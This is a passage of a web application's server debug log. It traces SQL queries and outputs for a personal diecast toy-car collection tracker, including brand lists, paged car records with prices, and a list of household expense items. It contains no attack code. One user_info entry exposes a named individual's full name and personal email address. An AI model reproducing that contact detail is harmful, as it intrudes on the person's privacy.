2026-02-04T05:32:53.306Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:32:53.306Z server-connect:output restrict: undefined
2026-02-04T05:32:53.306Z server-connect:app Executing action step select
2026-02-04T05:32:53.306Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T05:32:53.306Z server-connect:output restrict: undefined
2026-02-04T05:32:53.307Z server-connect:app Executing action step single
2026-02-04T05:32:53.307Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T05:32:53.307Z server-connect:output restrict: undefined
2026-02-04T05:32:53.307Z server-connect:app Executing action step select
2026-02-04T05:32:53.307Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T05:32:53.307Z server-connect:app Executing action step identify
2026-02-04T05:32:53.307Z server-connect:app options: { provider: 'security' }
2026-02-04T05:32:53.307Z server-connect:output identity: 1
2026-02-04T05:32:53.307Z server-connect:app Executing action step restrict
2026-02-04T05:32:53.307Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:32:53.308Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T05:32:53.309Z server-connect:app Executing action step identify
2026-02-04T05:32:53.309Z server-connect:app options: { provider: 'security' }
2026-02-04T05:32:53.309Z server-connect:output identity: 1
2026-02-04T05:32:53.309Z server-connect:app Executing action step restrict
2026-02-04T05:32:53.309Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:32:53.310Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T05:32:53.310Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T05:32:53.311Z server-connect:output restrict: undefined
2026-02-04T05:32:53.311Z server-connect:app Executing action step paged
2026-02-04T05:32:53.311Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T05:32:53.312Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T05:32:53.314Z server-connect:output restrict: undefined
2026-02-04T05:32:53.314Z server-connect:app Executing action step select
2026-02-04T05:32:53.314Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T05:32:53.315Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 }
]
2026-02-04T05:32:53.317Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T05:32:53.319Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 132,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T05:32:53.320Z server-connect:app Executing action step identify
2026-02-04T05:32:53.320Z server-connect:app options: { provider: 'security' }
2026-02-04T05:32:53.320Z server-connect:output identity: 1
2026-02-04T05:32:53.320Z server-connect:app Executing action step restrict
2026-02-04T05:32:53.320Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:32:53.320Z server-connect:output restrict: undefined
2026-02-04T05:32:53.320Z server-connect:app Executing action step select
2026-02-04T05:32:53.320Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T05:32:53.321Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
